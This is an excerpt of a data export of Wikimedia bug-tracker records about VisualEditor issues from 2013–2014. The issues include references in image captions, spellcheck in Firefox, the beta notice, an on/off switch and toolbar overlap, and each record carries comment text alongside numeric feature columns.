(UTC)>>.",,,1384812491,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,17.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,4.076923076923077,0.75,"<<[...] the references 20 and 21 in URL which are in image captions disappear from the references list in VE and the numbering becomes discombobulated. Win7 FF 24.0 Monobook. --Atethnekos (Discussion, Contributions) 05:42, 12 November 2013 (UTC)>>."
233523,VisualEditor: references in image captions are not included in reflists,"Change 77346 merged by jenkins-bot:
Only skip past empty keyedNodes sets if key exists

https://gerrit.wikimedia.org/r/77346",,,1375469746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,"Change 77346 merged by jenkins-bot:
Only skip past empty keyedNodes sets if key exists

GERRIT_URL"
233519,VisualEditor: references in image captions are not included in reflists,"Change 77346 had a related patch set uploaded by Esanders:
Only skip past empty keyedNodes sets if key exists

https://gerrit.wikimedia.org/r/77346",,,1375461230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,1.0,"Change 77346 had a related patch set uploaded by Esanders:
Only skip past empty keyedNodes sets if key exists

GERRIT_URL"
233516,VisualEditor: references in image captions are not included in reflists,"**kwwilliams** wrote:

52300 may also be related.",,,1375399091,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.7857142857142857,"**kwwilliams** wrote:

52300 may also be related."
54372,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=566679647#Spellchecking_wikilinks_causes_odd_behavior en.wp editor Cryptic C62 has identified that spellchecking links causes inconsistent and apparently unpredictable behaviour. Undoing that change sometimes introduces another layer of inconsistent behaviour.

On some occasions both correcting the spelling and undoing it works as it should, but there are at least six types of undesired behaviour where some or all of the link is unlinked. 

Detailed examples are at the above link.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375343460,1398187598.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-svgbuubly7i37677eqfj,task_description,resolved,True,c1,3,False,False,False,4,,3.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,10.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,4.836956521739131,0.6956521739130435,"At URL en.wp editor Cryptic C62 has identified that spellchecking links causes inconsistent and apparently unpredictable behaviour. Undoing that change sometimes introduces another layer of inconsistent behaviour.

On some occasions both correcting the spelling and undoing it works as it should, but there are at least six types of undesired behaviour where some or all of the link is unlinked. 

Detailed examples are at the above link.

--------------------------
**Version**: unspecified
**Severity**: normal"
255215,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"

*** This bug has been marked as a duplicate of bug 50822 ***",,,1398187598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-svgbuubly7i37677eqfj,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50822 ***"
255205,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"**crypticc62** wrote:

I've found that a similar problem occurs with Chrome on an iPad 3, though with very different results. In this environment, the spellcheck seems to work fine, but undo causes the original string to be appended to the new string, rather than replacing it.",,,1375672513,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-svgbuubly7i37677eqfj,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,2.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.9491525423728815,0.7796610169491526,"**crypticc62** wrote:

I've found that a similar problem occurs with Chrome on an iPad 3, though with very different results. In this environment, the spellcheck seems to work fine, but undo causes the original string to be appended to the new string, rather than replacing it."
54366,VisualEditor: Make beta notice more prominent,"The current beta notice for VisualEditor is currently easy to miss. While it uses a circled ""?"" and the text ""BETA"", it can blend in with the rest of the VisualEditor editing interface pretty easily (I only really noticed that there was any kind of warning today).

The notice that VisualEditor is beta software should be made more prominent.

James has suggested showing a more prominent notice for first-time VisualEditor users (presumably based on a cookie).

My preference is to make the notice dismissable (using a hidden user preference).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375328880,1375423690.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ycfuexv2jknnm72vmgj2,task_description,resolved,True,c1,3,False,False,True,4,,0.5,0.0,0.0,1.0,0.0,6.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.5,0.0,5.0,7.0,0.0,1.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,4.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,1.0,13.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,1.5,0.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,7.0,3.5,0.5,2.0,0.0,2.5,0.0,0.0,3.0,0.0,1.5,1.5,0.0,0.0,4.1484375,0.71875,"The current beta notice for VisualEditor is currently easy to miss. While it uses a circled ""?"" and the text ""BETA"", it can blend in with the rest of the VisualEditor editing interface pretty easily (I only really noticed that there was any kind of warning today).

The notice that VisualEditor is beta software should be made more prominent.

James has suggested showing a more prominent notice for first-time VisualEditor users (presumably based on a cookie).

My preference is to make the notice dismissable (using a hidden user preference).

--------------------------
**Version**: unspecified
**Severity**: normal"
254893,VisualEditor: Make beta notice more prominent,"We've now made a modal dialog pop up warning the user about the beta status of VisualEditor, and labelled VisualEditor as ""beta"" on its edit tab (and the edit section links that launch it).

I'm going to presumptively (;-)) mark this as ""fixed"", but please re-open if you think we should do more.",,,1375423690,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ycfuexv2jknnm72vmgj2,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,3.0,13.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,6.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,9.0,13.0,4.0,0.0,6.0,0.0,9.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,3.5,0.8,"We've now made a modal dialog pop up warning the user about the beta status of VisualEditor, and labelled VisualEditor as ""beta"" on its edit tab (and the edit section links that launch it).

I'm going to presumptively (;-)) mark this as ""fixed"", but please re-open if you think we should do more."
54355,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch","One of the pain points we're seeing is that disabling VisualEditor is cumbersome. Even though there's now a user preference to disable the software, going to [[Special:Preferences]] is disruptive to user workflow.

James and I discussed the possibility of adding a switch to the user interface to enable or disable VisualEditor.

This switch might be located in the personal tools section, it might be a sidebar section, or it might be elsewhere. It should be viewable from ?action=view, ?action=edit, and ?veaction=edit.

This switch might affect only VisualEditor or it might affect all ""beta"" features deployed to Wikimedia wikis.

This switch will be available to both logged-in users and anonymous users.

I believe this is a high priority bug to address.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54862",High,80.0,1375306080,1392032698.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_description,resolved,True,c1,3,False,False,False,4,,0.5,0.0,0.0,0.5,0.0,5.0,3.5,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.5,1.5,0.0,2.5,7.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,4.0,1.5,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,5.0,0.0,2.0,0.0,0.0,0.0,13.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,4.5,10.5,1.0,3.0,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,3.5,7.5,4.0,1.5,1.0,0.0,3.5,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,3.8978163493840983,0.6189249720044793,"One of the pain points we're seeing is that disabling VisualEditor is cumbersome. Even though there's now a user preference to disable the software, going to [[Special:Preferences]] is disruptive to user workflow.

James and I discussed the possibility of adding a switch to the user interface to enable or disable VisualEditor.

This switch might be located in the personal tools section, it might be a sidebar section, or it might be elsewhere. It should be viewable from ?action=view, ?action=edit, and ?veaction=edit.

This switch might affect only VisualEditor or it might affect all ""beta"" features deployed to Wikimedia wikis.

This switch will be available to both logged-in users and anonymous users.

I believe this is a high priority bug to address.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**See Also**:
URL"
254366,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch",BetaFeatures is in place for this now.,,,1392032698,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,BetaFeatures is in place for this now.
254364,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch","Hi MZMcBride, a desktop framework for beta testing features is already underway[1}, although it was originally envisioned for smaller experiments we can certainly think about the idea of leveraging it for larger pieces of functionality as well. 


[1] http://www.mediawiki.org/wiki/Beta_Experiments",,,1375314628,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,4.717391304347826,0.8913043478260869,"Hi MZMcBride, a desktop framework for beta testing features is already underway[1}, although it was originally envisioned for smaller experiments we can certainly think about the idea of leveraging it for larger pieces of functionality as well. 


[1] URL"
54339,VisualEditor: Selection highlighting breaks if an inline alien wraps,"wrapped inline alien: incorrect highlighting in chromium

If an inline alien gets word wrapped, then selecting it leads to incorrect highlighting.

Reproducing: make a <tt> ... </tt> with enough content to word wrap. Select with the mouse (or use CTRL+A).

In chromium, the highlighter erroneously draws a box enclosing the first character and the last (see first attachment).

In firefox, the highlighter erroneously highlights to the end of the first line only (see second attachment).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11839}",High,80.0,1375299180,1403060255.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-27y3ao6udiwcetvc5juo,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,1.0,0.0,0.0,1.0,2.5,6.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,6.5,0.5,1.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,6.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,2.5,4.0306299603174605,0.6372767857142857,"wrapped inline alien: incorrect highlighting in chromium

If an inline alien gets word wrapped, then selecting it leads to incorrect highlighting.

Reproducing: make a <tt> ... </tt> with enough content to word wrap. Select with the mouse (or use CTRL+A).

In chromium, the highlighter erroneously draws a box enclosing the first character and the last (see first attachment).

In firefox, the highlighter erroneously highlights to the end of the first line only (see second attachment).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11839}"
253519,VisualEditor: Selection highlighting breaks if an inline alien wraps,*** Bug 67062 has been marked as a duplicate of this bug. ***,,,1403696547,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 67062 has been marked as a duplicate of this bug. ***
253516,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Change 139805 merged by jenkins-bot:
Shields are dead, long live getClientRects

https://gerrit.wikimedia.org/r/139805",,,1402962749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,"Change 139805 merged by jenkins-bot:
Shields are dead, long live getClientRects

GERRIT_URL"
253513,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Change 139805 had a related patch set uploaded by Esanders:
Shields are dead, long live getClientRects

https://gerrit.wikimedia.org/r/139805",,,1402915741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 139805 had a related patch set uploaded by Esanders:
Shields are dead, long live getClientRects

GERRIT_URL"
253509,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Created attachment 13036
wrapped inline alien: incorrect highlighting in firefox

**Attached**: {F11840}",,,1375300000,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.318181818181818,0.8181818181818182,"Created attachment 13036
wrapped inline alien: incorrect highlighting in firefox

**Attached**: {F11840}"
253505,VisualEditor: Selection highlighting breaks if an inline alien wraps,"Created attachment 13035
wrapped inline alien: incorrect highlighting in firefox

//attachment wrapped-inline-alien-firefox.png ignored as obsolete//",,,1375299322,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-27y3ao6udiwcetvc5juo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.611111111111111,1.0,"Created attachment 13035
wrapped inline alien: incorrect highlighting in firefox

//attachment wrapped-inline-alien-firefox.png ignored as obsolete//"
54326,VisualEditor: Toolbar overlaps top of page links,"Toolbar overlapping page head links Firefox 22/Linux/Monobook

In Firefox 22 on Linux with Monobook skin (not tested in other combinations) sometimes the VE toolbar overlaps the page head links and tabs (userpage etc). See the screenshot.

I haven't figured out how to reliably reproduce this but the following sequence /usually/ seems to work.
1. Make one or more changes to a page in VE
2. click on an element near the left or bottom of the window (to trigger bug 52317)
3. open the save page dialog
4. with the dialog still open, scroll to the very top and very bottom of the page
5. close the save dialog without saving
6. click a different element and repeat steps 3 to 5.
7. scroll to the top of the screen and observe the position of the toolbar.

If it doesn't work, try again from step 2.
It doesn't always work, but actions like this do seem to trigger it more often than not. I don't know whether this is dependent on bug 52317 but it was in testing that bug that I found this one.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52317
https://bugzilla.wikimedia.org/show_bug.cgi?id=52433

**Attached**: {F11800}",High,80.0,1375281660,1375936189.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7gsk7m3csraunlup7tpi,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.6666666666666666,0.0,2.0,3.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,6.0,10.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,3.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,13.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,6.0,0.6666666666666666,8.666666666666666,1.0,3.0,7.333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,0.0,4.333333333333333,0.0,2.6666666666666665,10.0,3.6666666666666665,0.0,0.0,0.0,2.6666666666666665,0.0,1.0,1.0,0.0,1.0,0.6666666666666666,0.0,1.6666666666666667,3.486974615064503,0.6228048272992094,"Toolbar overlapping page head links Firefox 22/Linux/Monobook

In Firefox 22 on Linux with Monobook skin (not tested in other combinations) sometimes the VE toolbar overlaps the page head links and tabs (userpage etc). See the screenshot.

I haven't figured out how to reliably reproduce this but the following sequence /usually/ seems to work.
1. Make one or more changes to a page in VE
2. click on an element near the left or bottom of the window (to trigger bug 52317)
3. open the save page dialog
4. with the dialog still open, scroll to the very top and very bottom of the page
5. close the save dialog without saving
6. click a different element and repeat steps 3 to 5.
7. scroll to the top of the screen and observe the position of the toolbar.

If it doesn't work, try again from step 2.
It doesn't always work, but actions like this do seem to trigger it more often than not. I don't know whether this is dependent on bug 52317 but it was in testing that bug that I found this one.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL

**Attached**: {F11800}"
252828,VisualEditor: Toolbar overlaps top of page links,"I guess https://bugzilla.wikimedia.org/show_bug.cgi?id=52433 is a duplicate then?
Thanks.",,,1375957512,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-7gsk7m3csraunlup7tpi,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,"I guess URL is a duplicate then?
Thanks."
252824,VisualEditor: Toolbar overlaps top of page links,"This was fixed last week (but not deployed yet, sorry) - merging with the other report.

